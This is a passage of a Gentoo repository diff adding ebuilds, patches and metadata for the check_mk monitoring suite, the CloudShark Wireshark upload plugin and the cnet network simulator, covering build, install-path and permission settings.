+KEYWORDS="~amd64 ~x86"
+IUSE="agent-only apache_status dmi_sysinfo livestatus logwatch mysql
+nfsexports oracle postgres smart wato xinetd zypper"
+REQUIRED_USE="livestatus? ( !agent-only )
+wato? ( !agent-only )"
+
+RDEPEND="${DEPEND}
+ ( || ( dev-lang/python:2.6 dev-lang/python:2.7 ) )
+ wato? ( app-admin/sudo )
+ xinetd? ( sys-apps/xinetd )
+ !agent-only? ( || ( net-analyzer/nagios-core net-analyzer/icinga ) )
+ !agent-only? ( www-servers/apache www-apache/mod_python )"
+
+src_prepare() {
+ # modify setup.sh for gentoo
+ epatch "${FILESDIR}"/${PN}-1.2.4p3-setup.sh.patch
+}
+
+src_configure() {
+ if has_version net-analyzer/nagios-core; then
+ export mydaemon=nagios
+ export nagpipe=/var/nagios/rw/nagios.cmd
+ export check_result_path=/var/nagios/spool/checkresults
+ export nagios_status_file=/var/nagios/status.dat
+ export rrd_path=/var/nagios/perfdata
+ else
+ export mydaemon=icinga
+ export nagpipe=/var/lib/icinga/rw/icinga.cmd
+ export check_result_path=/var/lib/icinga/spool/checkresults
+ export nagios_status_file=/var/lib/icinga/status.dat
+ export rrd_path=/var/lib/icinga/perfdata
+ fi
+
+ export nagiosuser=${mydaemon}
+ export nagios_binary=/usr/sbin/${mydaemon}
+ export nagios_config_file=/etc/${mydaemon}/${mydaemon}.cfg
+ export nagconfdir=/etc/${mydaemon}/check_mk.d
+ export nagios_startscript=/etc/init.d/${mydaemon}
+ export htpasswd_file=/etc/${mydaemon}/htpasswd.users
+ export nagios_auth_name="${mydaemon} Access"
+ export docdir=/usr/share/doc/${PF}
+ export checkmandir=/usr/share/doc/${PF}/checks
+ export check_icmp_path=/usr/lib/nagios/plugins/check_icmp
+ export wwwuser=apache
+ export wwwgroup=apache
+ export apache_config_dir=/etc/apache2/modules.d/
+
+ if use livestatus; then
+ export enable_livestatus=yes
+ else
+ export enable_livestatus=no
+ fi
+
+ export STRIPPROG=/bin/true
+}
+
+src_compile() {
+ DESTDIR=${S} ./setup.sh --yes || die "Error while running setup.sh"
+
+ # compile waitmax
+ cd "${S}"/usr/share/check_mk/agents || die "Couldn't cd to ${S}/usr/share/check_mk/agents"
+ if [[ -f waitmax ]]; then
+ rm waitmax || die "Couldn't delete precompiled waitmax file"
+ fi
+ sed -i -e 's#gcc -s -o waitmax waitmax\.c#gcc -o waitmax waitmax.c#' "${S}"/usr/share/check_mk/agents/Makefile || die "Couldn't modify remove strip from waitmax Makefile"
+ emake CFLAGS="${CFLAGS}" LDFLAGS="${LDFLAGS}" CC="$(tc-getCC)" || die "Couldn't compile waitmax"
+}
+
+src_install() {
+ if ! use agent-only; then
+ # Apache configuration
+ insinto /etc/apache2/modules.d
+ doins etc/apache2/modules.d/zzz_check_mk.conf
+
+ if use wato; then
+ # sudoers configuration
+ cat << EOF > "${T}"/check_mk || die
+# Needed for WATO - the Check_MK Web Administration Tool
+Defaults:apache !requiretty
+apache ALL = (root) NOPASSWD: /usr/bin/check_mk --automation *
+EOF
+ insinto /etc/sudoers.d
+ doins "${T}"/check_mk
+ fi
+
+ # check_mk configuration
+ keepdir /etc/check_mk
+ insinto /etc/check_mk
+ doins etc/check_mk/main.mk
+ doins etc/check_mk/main.mk-${MY_PV}
+ doins etc/check_mk/multisite.mk
+ doins etc/check_mk/multisite.mk-${MY_PV}
+ keepdir /etc/check_mk/conf.d
+ insinto /etc/check_mk/conf.d
+ doins etc/check_mk/conf.d/README
+ keepdir /etc/check_mk/conf.d/wato
+ touch "${D}"/etc/check_mk/conf.d/distributed_wato.mk
+ keepdir /etc/check_mk/multisite.d
+ keepdir /etc/check_mk/multisite.d/wato
+ touch "${D}"/etc/check_mk/multisite.d/sites.mk
+
+ insinto /etc/${mydaemon}
+ doins etc/${mydaemon}/auth.serials
+
+ # Nagios / Icinga check_mk templates
+ insinto /etc/${mydaemon}/check_mk.d
+ doins etc/${mydaemon}/check_mk.d/check_mk_templates.cfg
+
+ dobin usr/bin/check_mk
+ dobin usr/bin/mkp
+ insinto /usr/bin
+ doins usr/bin/cmk
+
+ # remove compiled agent_modbus
+ if [[ -f ${S}/usr/share/doc/${PF}/treasures/modbus/agent_modbus ]]; then
+ rm "${S}"/usr/share/doc/${PF}/treasures/modbus/agent_modbus || die "Couldn't remove precompiled agent_modbus"
+ fi
+
+ insinto /usr/share/check_mk
+ doins -r usr/share/check_mk/*
+
+ keepdir /var/lib/check_mk/autochecks
+ keepdir /var/lib/check_mk/cache
+ keepdir /var/lib/check_mk/counters
+ keepdir /var/lib/check_mk/logwatch
+ keepdir /var/lib/check_mk/notify
+ keepdir /var/lib/check_mk/packages
+ insinto /var/lib/check_mk/packages
+ doins var/lib/check_mk/packages/check_mk
+ keepdir /var/lib/check_mk/precompiled
+ keepdir /var/lib/check_mk/snmpwalks
+ keepdir /var/lib/check_mk/tmp
+ keepdir /var/lib/check_mk/wato
+ keepdir /var/lib/check_mk/web
+
+ # Update check_mk defaults
+ sed -i -e "s#^\(check_mk_automation\s*= 'sudo -u\) portage \(.*\)\$#\1 ${mydaemon} \2#" "${D}"/usr/share/check_mk/modules/defaults || die "Couldn't update check_mk defaults"
+ cp "${D}"/usr/share/check_mk/modules/defaults "${D}"/usr/share/check_mk/web/htdocs/defaults.py || die "Couldn't copy check_mk defaults"
+
+ # Change permissions
+ fowners -R ${mydaemon}:apache /etc/${mydaemon}/auth.serials
+ fperms -R 0660 /etc/${mydaemon}/auth.serials
+ fowners -R ${mydaemon}:${mydaemon} /etc/${mydaemon}/check_mk.d
+ fperms -R 0775 /etc/${mydaemon}/check_mk.d
+ fowners -R root:apache /etc/check_mk/conf.d/wato
+ fperms -R 0775 /etc/check_mk/conf.d/wato
+ fowners root:apache /etc/check_mk/conf.d/distributed_wato.mk
+ fperms 0664 /etc/check_mk/conf.d/distributed_wato.mk
+ fowners -R root:apache /etc/check_mk/multisite.d/wato
+ fperms -R 0775 /etc/check_mk/multisite.d/wato
+ fowners root:apache /etc/check_mk/multisite.d/sites.mk
+ fperms 0664 /etc/check_mk/multisite.d/sites.mk
+ fowners root:${mydaemon} /var/lib/check_mk/cache
+ fperms 0775 /var/lib/check_mk/counters
+ fowners -R root:${mydaemon} /var/lib/check_mk/counters
+ fperms 0775 /var/lib/check_mk/notify
+ fowners -R root:${mydaemon} /var/lib/check_mk/notify
+ fperms 0775 /var/lib/check_mk/logwatch
+ fowners -R root:${mydaemon} /var/lib/check_mk/logwatch
+ fperms 0775 /var/lib/check_mk/cache
+ fowners -R root:${mydaemon} /var/lib/check_mk/cache
+ fperms -R 0775 /var/lib/check_mk/tmp
+ fowners -R root:apache /var/lib/check_mk/tmp
+ fperms -R 0775 /var/lib/check_mk/web
+ fowners -R root:apache /var/lib/check_mk/web
+ fperms -R 0775 /var/lib/check_mk/wato
+ fowners -R root:apache /var/lib/check_mk/wato
+ fi
+
+ # Install agent related files
+ newbin usr/share/check_mk/agents/check_mk_agent.linux check_mk_agent
+ dobin usr/share/check_mk/agents/waitmax
+
+ if use xinetd; then
+ insinto /etc/xinetd.d
+ newins usr/share/check_mk/agents/xinetd.conf check_mk
+ fi
+
+ keepdir /usr/lib/check_mk_agent/local
+ keepdir /usr/lib/check_mk_agent/plugins
+
+ # Install Livestatus
+ if use livestatus; then
+ cat << EOF > "${T}"/livestatus.cfg || die
+define module{
+ module_name mk-livestatus
+ module_type neb
+ path /usr/lib/check_mk/livestatus.o
+ args /var/lib/${mydaemon}/rw/live
+ }
+EOF
+
+ insinto /etc/${mydaemon}/modules
+ doins "${T}"/livestatus.cfg
+ fowners ${mydaemon}:${mydaemon} /etc/${mydaemon}/modules/livestatus.cfg
+
+ insinto /usr/lib/check_mk
+ doins usr/lib/check_mk/livestatus.o
+
+ dobin usr/bin/unixcat
+
+ keepdir /usr/share/check_mk/livestatus
+ fi
+
+ # Documentation
+ if ! use agent-only; then
+ dodoc -r usr/share/doc/${PF}/*
+ docompress -x /usr/share/doc/${PF}/checks/
+ else
+ dodoc usr/share/doc/${PF}/AUTHORS usr/share/doc/${PF}/COPYING usr/share/doc/${PF}/ChangeLog
+ docompress
+ fi
+
+ # Install the check_mk_agent logwatch plugin
+ if use logwatch; then
+ insinto /etc/check_mk
+ doins usr/share/check_mk/agents/logwatch.cfg
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/mk_logwatch
+ fi
+
+ # Install the check_mk_agent smart plugin
+ if use smart; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/smart
+ fi
+
+ # Install the check_mk_agent mysql plugin
+ if use mysql; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/mk_mysql
+ fi
+
+ # Install the check_mk_agent postgres plugin
+ if use postgres; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/mk_postgres
+ fi
+
+ # Install the check_mk_agent apache_status plugin
+ if use apache_status; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/apache_status
+ fi
+
+ # Install the check_mk_agent zypper plugin
+ if use zypper; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/mk_zypper
+ fi
+
+ # Install the check_mk_agent oracle plugin
+ if use oracle; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/mk_oracle
+ fi
+
+ # Install the check_mk_agent nfsexports plugin
+ if use nfsexports; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/nfsexports
+ fi
+
+ # Install the check_mk_agent dmi_sysinfo plugin
+ if use dmi_sysinfo; then
+ exeinto /usr/lib/check_mk_agent/plugins
+ doexe usr/share/check_mk/agents/plugins/dmi_sysinfo
+ fi
+}
+
+pkg_postinst() {
+ if ! use agent-only; then
+ elog "IMPORTANT: Please add the following line to your"
+ elog "/etc/${mydaemon}/${mydaemon}.cfg, so that"
+ elog "${mydaemon} can load your check_mk configuration."
+ elog
+ elog " cfg_dir=/etc/${mydaemon}/check_mk.d"
+ elog
+ fi
+ if use wato; then
+ elog "INFO: Your webserver needs write access to"
+ elog "/etc/${mydaemon}/htpasswd.users!"
+ elog "otherwise wato will not function correctly!"
+ elog
+ elog "chown ${mydaemon}: /etc/${mydaemon}/htpasswd.users"
+ elog "chmod 660 /etc/${mydaemon}/htpasswd.users"
+ elog
+ fi
+}
diff --git a/net-analyzer/check_mk/files/check_mk-1.2.4p3-setup.sh.patch b/net-analyzer/check_mk/files/check_mk-1.2.4p3-setup.sh.patch
new file mode 100644
index 000000000000..e9a5080e4cf5
--- /dev/null
+++ b/net-analyzer/check_mk/files/check_mk-1.2.4p3-setup.sh.patch
@@ -0,0 +1,36 @@
+--- check_mk-1.2.4p3.orig/setup.sh 2014-06-21 11:15:58.090225173 +0200
++++ check_mk-1.2.4p3/setup.sh 2014-06-22 09:57:51.658670398 +0200
+@@ -572,6 +572,11 @@
+ CONFIGURE_OPTS="--with-nagios4"
+ fi
+ fi
++ # disable stripping to get meaningful backtraces
++ sed -i -e 's/^INSTALL_STRIP_PROGRAM="\\\$(install_sh) -c -s"$/INSTALL_STRIP_PROGRAM="\\\$(install_sh) -c"/' configure
++ sed -i -e 's/install_sh_PROGRAM="\$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \\$/install_sh_PROGRAM="\$(INSTALL_STRIP_PROGRAM)" \\/' Makefile.in
++ sed -i -e 's/install_sh_PROGRAM="\$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \\$/install_sh_PROGRAM="\$(INSTALL_STRIP_PROGRAM)" \\/' src/Makefile.in
++ sed -i -e 's/\$(CXX) \$(LDFLAGS) -s -fPIC -shared \$(livestatus_so_OBJECTS) -o \$@ -lpthread -lstdc++/\$(CXX) \$(LDFLAGS) -fPIC -shared \$(livestatus_so_OBJECTS) -o \$@ -lpthread -lstdc++/' src/Makefile.in
+ ./configure --libdir=$libdir --bindir=$bindir $CONFIGURE_OPTS &&
+ make clean &&
+ cat <<EOF > src/livestatus.h &&
+@@ -581,7 +586,8 @@
+ #endif // livestatus_h
+ EOF
+ make -j 8 2>&1 &&
+- strip src/livestatus.o &&
++ # disable stripping to get meaningful backtraces
++ #strip src/livestatus.o &&
+ mkdir -p $DESTDIR$libdir &&
+ install -m 755 src/livestatus.o $DESTDIR$libdir &&
+ mkdir -p $DESTDIR$bindir &&
+@@ -1018,8 +1024,9 @@
+ # WATO. Also create an empty and Apache-writable auth.serials
+ serials_file=$DESTDIR${htpasswd_file%/*}/auth.serials &&
+ touch "$serials_file" &&
+- (chown $wwwuser "$serials_file" || true) &&
+- (chown $wwwuser "$htpasswd_file" || true) &&
++ # Permissions will be set within src_install
++ #(chown $wwwuser "$serials_file" || true) &&
++ #(chown $wwwuser "$htpasswd_file" || true) &&
+ create_sudo_configuration &&
+ if [ "$enable_mkeventd" = yes ]
+ then
diff --git a/net-analyzer/check_mk/metadata.xml b/net-analyzer/check_mk/metadata.xml
new file mode 100644
index 000000000000..459b3c542463
--- /dev/null
+++ b/net-analyzer/check_mk/metadata.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>morlix@morlix.de</email>
+ <name>Timo Eissler</name>
+ <description>maintainer, assign bugs</description>
+ </maintainer>
+ <longdescription lang="en">
+ General purpose Nagios/Icinga plugin for retrieving data.
+ Check_MK is a collection of extensions for the IT-Monitoring-Kernel of Nagios/Icinga
+ and together with this, and ideally also with PNP4Nagios and NagVis constitutes
+ a complete IT-Monitoring-System.
+ </longdescription>
+ <use>
+ <flag name="agent-only">Install only the check_mk agent.</flag>
+ <flag name="logwatch">Install check_mk-agent logwatch plugin.</flag>
+ <flag name="smart">Install check_mk-agent S.M.A.R.T plugin.</flag>
+ <flag name="mysql">Install check_mk-agent mysql plugin.</flag>
+ <flag name="postgres">Install check_mk-agent postgres plugin.</flag>
+ <flag name="apache_status">Install check_mk-agent apache-status plugin.</flag>
+ <flag name="nfsexports">Install check_mk-agent nfsexports plugin.</flag>
+ <flag name="dmi_sysinfo">Install check_mk-agent dmi_sysinfo plugin.</flag>
+ <flag name="zypper">Install check_mk-agent zypper plugin.</flag>
+ <flag name="livestatus">Enable livestatus.</flag>
+ <flag name="wato">Enable check_mk WATO - check_mk's Web Administration Tool.</flag>
+ </use>
+ <upstream>
+ <changelog>http://mathias-kettner.com/check_mk_download.html</changelog>
+ <doc>http://mathias-kettner.com/checkmk.html</doc>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/cloudshark/Manifest b/net-analyzer/cloudshark/Manifest
new file mode 100644
index 000000000000..fd3dd400511d
--- /dev/null
+++ b/net-analyzer/cloudshark/Manifest
@@ -0,0 +1,2 @@
+DIST cloudshark-plugin-1.0.2-174.tgz 143067 SHA256 d5918e9e3dc60059bdc40d436409c18197df428266863d90367a762f08c3623e SHA512 42445e67630b1bd2968f0836f625acb3792f22257de104ec0b90c59fa8d2096649eba2252cd6161ce57c8ff79095d52c5663d2fa018c650667896c9905e9dd7e WHIRLPOOL 01f3f6bc87b3f09645d2fef953d84b7ba3828f960d7e9bb952bf18cbeb8422beb63cee21355434f392727795b0462e59fd2b07549cce6048e689e5e02bcdd19d
+DIST cloudshark-plugin-1.0.3-180.tgz 143381 SHA256 0c0b204622107dcb29d302401688b62fa3b904eb0b5ccfa6bb42802084f5d102 SHA512 765144e6a2c7ce17eaa05f8170216e08ccac224ba6c11750893ae5caa8f40a2b6bee883fd9be91fa800ad3b45dc42d2ec81e564aa573015a91a8537be8384c73 WHIRLPOOL 818abb8dd904c72fe870336bb3702df04af7299c6e3bbed21510a0a4484997ec4eef68c14f0a556285f82a89ef57fd9768c6814cc3311c4abd28194d70159926
diff --git a/net-analyzer/cloudshark/cloudshark-1.0.2.174.ebuild b/net-analyzer/cloudshark/cloudshark-1.0.2.174.ebuild
new file mode 100644
index 000000000000..67366efedb2f
--- /dev/null
+++ b/net-analyzer/cloudshark/cloudshark-1.0.2.174.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib
+
+SV="1.0.2-174"
+
+DESCRIPTION="Easily upload your wireshark captures to CloudShark"
+HOMEPAGE="http://appliance.cloudshark.org/plug-ins-wireshark.html"
+SRC_URI="http://appliance.cloudshark.org/downloads/${PN}-plugin-${SV}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+PDEPEND="net-analyzer/wireshark:=[lua]
+ net-misc/curl"
+
+S="${WORKDIR}/${PN}-${SV}"
+
+get_PV() {
+ local pv=$(best_version $1)
+ pv=${pv#$1-}; pv=${pv%-r*}
+ pv=${pv//_}; echo ${pv}
+}
+
+src_prepare() {
+ #cloudshark isn't meant to be installed systemwide, we fix that
+ epatch "${FILESDIR}"/cs_log_dir.patch
+
+ sed -i "s#%s/cloudshark_init.lua#/usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)/cloudshark_init.lua#" cloudshark.lua
+ #causes errors, looks like it expects windows paths only
+ #echo "CLOUDSHARK_CABUNDLE = /usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)/curl-ca-bundle.crt" >> cloudshark_init.default
+ sed -i "s#%s/curl-ca-bundle.crt#/usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)/curl-ca-bundle.crt#" cloudshark.lua
+
+ #stuff to fix cloudshark_init.default to be more sane
+ #sed -i 's#CLOUDSHARK_TSHARK = "n"#CLOUDSHARK_TSHARK = "y"#' cloudshark_init.default (tshark support doesn't seem to work)
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)
+ doins cloudshark.lua json.lua version.lua curl-ca-bundle.crt
+ newins cloudshark_init.default cloudshark_init.lua
+ dodoc CLOUDSHARK_README.txt
+}
diff --git a/net-analyzer/cloudshark/cloudshark-1.0.3.180.ebuild b/net-analyzer/cloudshark/cloudshark-1.0.3.180.ebuild
new file mode 100644
index 000000000000..79691a21d1b7
--- /dev/null
+++ b/net-analyzer/cloudshark/cloudshark-1.0.3.180.ebuild
@@ -0,0 +1,49 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils multilib
+
+SV="1.0.3-180"
+
+DESCRIPTION="Easily upload your wireshark captures to CloudShark"
+HOMEPAGE="http://appliance.cloudshark.org/plug-ins-wireshark.html"
+SRC_URI="http://appliance.cloudshark.org/plugin/${PN}-plugin-${SV}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+IUSE=""
+
+PDEPEND="net-analyzer/wireshark:=[lua]
+ net-misc/curl"
+
+S="${WORKDIR}/${PN}-${SV}"
+
+get_PV() {
+ local pv=$(best_version $1)
+ pv=${pv#$1-}; pv=${pv%-r*}
+ pv=${pv//_}; echo ${pv}
+}
+
+src_prepare() {
+ #cloudshark isn't meant to be installed systemwide, we fix that
+ epatch "${FILESDIR}"/cs_log_dir.patch
+
+ sed -i "s#%s/cloudshark_init.lua#/usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)/cloudshark_init.lua#" cloudshark.lua
+ #causes errors, looks like it expects windows paths only
+ #echo "CLOUDSHARK_CABUNDLE = /usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)/curl-ca-bundle.crt" >> cloudshark_init.default
+ sed -i "s#%s/curl-ca-bundle.crt#/usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)/curl-ca-bundle.crt#" cloudshark.lua
+
+ #stuff to fix cloudshark_init.default to be more sane
+ #sed -i 's#CLOUDSHARK_TSHARK = "n"#CLOUDSHARK_TSHARK = "y"#' cloudshark_init.default (tshark support doesn't seem to work)
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/wireshark/plugins/$(get_PV net-analyzer/wireshark)
+ doins cloudshark.lua json.lua version.lua curl-ca-bundle.crt
+ newins cloudshark_init.default cloudshark_init.lua
+ dodoc CLOUDSHARK_README.txt
+}
diff --git a/net-analyzer/cloudshark/files/cs_log_dir.patch b/net-analyzer/cloudshark/files/cs_log_dir.patch
new file mode 100644
index 000000000000..9b0424e3cd44
--- /dev/null
+++ b/net-analyzer/cloudshark/files/cs_log_dir.patch
@@ -0,0 +1,13 @@
+diff -Naur cloudshark-1.0.2-174-orig/cloudshark.lua cloudshark-1.0.2-174/cloudshark.lua
+--- cloudshark-1.0.2-174-orig/cloudshark.lua 2013-06-03 00:00:46.669223099 -0400
++++ cloudshark-1.0.2-174/cloudshark.lua 2013-06-03 00:01:31.493224300 -0400
+@@ -180,7 +180,8 @@
+ --
+
+ function cs_log_dir()
+- return persconffile_path('plugins/cloudshark')
++ local log_dir = "/tmp"
++ return log_dir
+ end
+
+ --
diff --git a/net-analyzer/cloudshark/metadata.xml b/net-analyzer/cloudshark/metadata.xml
new file mode 100644
index 000000000000..5fcbf8e1851a
--- /dev/null
+++ b/net-analyzer/cloudshark/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>zerochaos@gentoo.org</email>
+<name>Rick Farina</name>
+</maintainer>
+<longdescription lang="en">
+</longdescription>
+</pkgmetadata>
+
diff --git a/net-analyzer/cnet/Manifest b/net-analyzer/cnet/Manifest
new file mode 100644
index 000000000000..9a8ae67bbbba
--- /dev/null
+++ b/net-analyzer/cnet/Manifest
@@ -0,0 +1 @@
+DIST cnet-3.3.1.tgz 2684531 SHA256 244091f3254534850d58675e2826962757f5aed2dc43ed567c520db43664df4e SHA512 9b86a077d48086036fbcfa86ba202b49610e1e1eac55fd3076b24a7ca622a6fc9b34156477bcb25af15d06cf0813f12a7b3f4cb21f1eeb00fd2e010610797ce8 WHIRLPOOL 6af1eab1819572c2b480ceca5b0315fcb5fdd087592945c2c59d34b7fd7b0848eecbcc29c8d11b82c895bd686bcd86f3fcaa68efa3b1da84271e6b68dc2a0543
diff --git a/net-analyzer/cnet/cnet-3.3.1.ebuild b/net-analyzer/cnet/cnet-3.3.1.ebuild
new file mode 100644
index 000000000000..ebdc48083215
--- /dev/null
+++ b/net-analyzer/cnet/cnet-3.3.1.ebuild
@@ -0,0 +1,52 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="Network simulation tool"
+HOMEPAGE="http://www.csse.uwa.edu.au/cnet3/"
+SRC_URI="https://dev.gentoo.org/~jer/${P}.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="examples"
+
+RDEPEND="
+ >=dev-lang/tk-8.5
+ dev-libs/elfutils
+ x11-libs/libX11
+"
+DEPEND="
+ ${RDEPEND}
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-3.3.1-gentoo.patch \
+ "${FILESDIR}"/${PN}-3.3.1-tcl.patch
+
+ # Set libdir properly
+ sed -i -e "/CNETPATH/s:local/lib:$(get_libdir):" src/preferences.h || die
+ sed -i -e "/^LIBDIR/s:lib:$(get_libdir):" Makefile || die
+
+ epatch_user
+}
+
+src_compile() {
+ emake \
+ CC="$(tc-getCC)" \
+ AR="$(tc-getAR)" \
+ RANLIB="$(tc-getRANLIB)"
+}
+
+src_install() {
+ emake DESTDIR="${D}" install
+ dodoc ANNOUNCE
+ if use examples; then
+ dodoc -r examples
+ docompress -x /usr/share/doc/${P}/examples
+ fi
+}
diff --git a/net-analyzer/cnet/files/cnet-3.3.1-gentoo.patch b/net-analyzer/cnet/files/cnet-3.3.1-gentoo.patch
new file mode 100644
index 000000000000..9754fb4ebf84
--- /dev/null
+++ b/net-analyzer/cnet/files/cnet-3.3.1-gentoo.patch
@@ -0,0 +1,163 @@
+--- a/Makefile
++++ b/Makefile
+@@ -6,7 +6,7 @@
+ # Comment/uncomment the following 4 constants to suit your system:
+ #
+ # PREFIX defines the directory below which cnet will be installed.
+-PREFIX = /usr/local
++PREFIX = /usr
+ #PREFIX = $(HOME)
+ #
+ # BINDIR defines the directory where the cnet binary will be installed.
+@@ -16,26 +16,24 @@
+ LIBDIR = $(PREFIX)/lib64/cnet
+ #
+ # WWWDIR defines the directory to hold cnet's web-based documentation
+-WWWDIR = /home/httpd/html/cnet
++#WWWDIR = /home/httpd/html/cnet
+ #WWWDIR = $(HOME)/WWW/cnet
+ #
+ # ---------------------------------------------------------------------
+ #
+ it:
+- make -C src
+- make -C support
++ $(MAKE) -C src
++ $(MAKE) -C support
+ @ls -l bin/$(NAME) lib/*.a
+
+ install:
+- make
+- @mkdir -p $(BINDIR) $(LIBDIR)
+- @chmod 755 $(BINDIR) $(LIBDIR)
+- @cp bin/$(NAME) $(BINDIR)/$(NAME)
+- @chmod 755 $(BINDIR)/$(NAME)
+- @rm -rf $(LIBDIR)/*
+- @cp lib/* $(LIBDIR)
+- @chmod 644 $(LIBDIR)/*
+- @ls -l $(BINDIR)/$(NAME) $(LIBDIR)/*.a
++ @mkdir -p $(DESTDIR)$(BINDIR) $(DESTDIR)$(LIBDIR)
++ @chmod 755 $(DESTDIR)$(BINDIR) $(DESTDIR)$(LIBDIR)
++ @cp bin/$(NAME) $(DESTDIR)$(BINDIR)/$(NAME)
++ @chmod 755 $(DESTDIR)$(BINDIR)/$(NAME)
++ @rm -rf $(DESTDIR)$(LIBDIR)/*
++ @cp lib/* $(DESTDIR)$(LIBDIR)
++ @chmod 644 $(DESTDIR)$(LIBDIR)/*
+
+ AND = html/CLICK html/KEYBOARD html/STOPANDWAIT html/TICKTOCK
+ www:
+--- a/src/Makefile.linux
++++ b/src/Makefile.linux
+@@ -5,7 +5,7 @@
+ # binutils 2.5.2, and
+ # libelf (0.6.4 onwards)
+ #
+-WARNINGS = -Wall -Werror -Wshadow -Wpointer-arith -Wcast-qual \
++WARNINGS = -Wall -Wshadow -Wpointer-arith -Wcast-qual \
+ -Wcast-align -Wwrite-strings -Wconversion \
+ -Wstrict-prototypes -Wredundant-decls -Winline \
+ -Wcomments -Wtrigraphs -Wimport -Wundef
+@@ -20,8 +20,8 @@
+ XINCLUDES = -I/usr/include/tcl8.5
+ XLIBS = -ltcl8.5 -ltk8.5 -lX11
+ #
+-C99 = gcc -std=c99 -Wall -Werror -pedantic
+-CFLAGS = -O3 -fPIC $(INCLUDES) $(XINCLUDES)
++C99 = $(CC) -std=c99 -Wall -pedantic
++CFLAGS += -fPIC $(INCLUDES) $(XINCLUDES)
+ #
+ LD = gcc -rdynamic
+ LIBDIRS = $(XLIBDIRS)
+--- a/support/Makefile
++++ b/support/Makefile
+@@ -7,21 +7,21 @@
+
+ it:
+ @if uname -s -r | grep -q "Linux" ; then \
+- make -f Makefile.linux ; fi
++ $(MAKE) -f Makefile.linux ; fi
+ @if uname -s -r | grep -q "Darwin" ; then \
+- make -f Makefile.macosx ; fi
++ $(MAKE) -f Makefile.macosx ; fi
+ @if uname -s -r | grep -q "SunOS 4" ; then \
+- make -f Makefile.sunos ; fi
++ $(MAKE) -f Makefile.sunos ; fi
+ @if uname -s -r | grep -q "SunOS 5" ; then \
+- make -f Makefile.solaris ; fi
++ $(MAKE) -f Makefile.solaris ; fi
+ @if uname -s -r | grep -q "OSF1" ; then \
+- make -f Makefile.osf1 ; fi
++ $(MAKE) -f Makefile.osf1 ; fi
+ @if uname -s -r | grep -q "IRIX" ; then \
+- make -f Makefile.irix5 ; fi
++ $(MAKE) -f Makefile.irix5 ; fi
+ @if uname -s -r | grep -q "FreeBSD" ; then \
+- make -f Makefile.freebsd ; fi
++ $(MAKE) -f Makefile.freebsd ; fi
+ @if uname -s -r | grep -q "NetBSD" ; then \
+- make -f Makefile.netbsd ; fi
++ $(MAKE) -f Makefile.netbsd ; fi
+ @cp -p cnetsupport.h ../lib
+
+ # ---------------------------------------------------------------------
+--- a/support/Makefile.common
++++ b/support/Makefile.common
+@@ -1,13 +1,13 @@
+ #
+-CC = gcc
+-CFLAGS = -std=c99 -pedantic -Wall -Werror -O3 -fPIC
++#CC = gcc
++CFLAGS += -std=c99 -pedantic -Wall -fPIC
+
+ DOTH = cnetsupport.h
+ OBJ = hashtable.o haversine.o lexical.o md5.o queue.o vector.o
+
+ $(NAME): $(OBJ)
+- ar rc $(NAME) $(OBJ)
+- ranlib $(NAME)
++ $(AR) rc $(NAME) $(OBJ)
++ $(RANLIB) $(NAME)
+ @cp -p $(NAME) ../lib
+
+ %.o : %.c $(DOTH)
+--- a/src/Makefile
++++ b/src/Makefile
+@@ -8,21 +8,21 @@
+
+ it:
+ @if uname -s -r | grep -q "Linux" ; then \
+- make -f Makefile.linux $(NAME) ; fi
++ $(MAKE) -f Makefile.linux $(NAME) ; fi
+ @if uname -s -r | grep -q "Darwin" ; then \
+- make -f Makefile.macosx $(NAME) ; fi
++ $(MAKE) -f Makefile.macosx $(NAME) ; fi
+ @if uname -s -r | grep -q "SunOS 4" ; then \
+- make -f Makefile.sunos $(NAME) ; fi
